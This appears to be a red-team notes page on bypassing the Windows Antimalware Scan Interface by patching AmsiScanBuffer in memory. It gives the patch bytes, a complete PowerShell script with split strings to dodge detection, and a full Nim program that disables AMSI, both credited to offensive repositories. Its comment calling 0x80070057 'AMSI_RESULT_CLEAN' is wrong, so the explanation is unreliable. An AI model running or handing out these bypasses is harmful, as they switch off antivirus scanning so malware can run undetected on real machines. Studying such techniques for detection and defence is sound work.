AMSI #
This is the Windows AntiMalware Scan Interface. This is basically an interface for scanning file, processes, and more that can then be used by Windows Defender or other antivirus products.
Patching AmsiScanBuffer
#
It might be as easy as patching the AmsiScanBuffer
function provided by amsi.dll
to return false.
The basic process here is:
- Use
LoadLibrary
to readamsi.dll
from disk into a known variable handle. - Use
GetProcAddress
to identify the address of theAmsiScanBuffer
function. Sinceamsi.dll
should have already been loaded into the process at process start, this should be the address to the function already active in memory. - Use
VirtualProtect
to make the memory containing theAmsiScanBuffer
function writable (0x40 ==PAGE_EXECUTE_READWRITE
). - Just copy over the byte code for a simple replacement function.
Replacement function:
b8 57 00 07 80 mov eax,0x80070057 # AMSI_RESULT_CLEAN
c3 ret
This replacement function is just two asm calls that push AMSI_RESULT_CLEAN
into eax
and return. This makes any call to AmsiScanBuffer
succeed as if the file was clean.
Powershell #
In powershell, patching AmsiScanBuffer
basically means calling out to a little C# code to do the heavy work of calling Win32 APIs to patch the function in the current process.
Example
# Credit: https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell#patching-amsidll-amsiscanbuffer-by-rasta-mouse
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
Source: amsi_powershell_rasta.ps1
References:
Nim #
Example
#[
Author: Marcello Salvati, Twitter: @byt3bl33d3r
License: BSD 3-Clause
Credit: https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/amsi_patch_bin.nim
]#
import winim/lean
import strformat
import dynlib
when defined amd64:
echo "[*] Running in x64 process"
const patch: array[6, byte] = [byte 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3]
elif defined i386:
echo "[*] Running in x86 process"
const patch: array[8, byte] = [byte 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00]
proc PatchAmsi(): bool =
var
amsi: LibHandle
cs: pointer
op: DWORD
t: DWORD
disabled: bool = false
# loadLib does the same thing that the dynlib pragma does and is the equivalent of LoadLibrary() on windows
# it also returns nil if something goes wrong meaning we can add some checks in the code to make sure everything's ok (which you can't really do well when using LoadLibrary() directly through winim)
amsi = loadLib("amsi")
if isNil(amsi):
echo "[X] Failed to load amsi.dll"
return disabled
cs = amsi.symAddr("AmsiScanBuffer") # equivalent of GetProcAddress()
if isNil(cs):
echo "[X] Failed to get the address of 'AmsiScanBuffer'"
return disabled
if VirtualProtect(cs, patch.len, 0x40, addr op):
echo "[*] Applying patch"
copyMem(cs, unsafeAddr patch, patch.len)
VirtualProtect(cs, patch.len, op, addr t)
disabled = true
return disabled
when isMainModule:
var success = PatchAmsi()
echo fmt"[*] AMSI disabled: {bool(success)}"
Source: amsi_nim_offensivenim.nim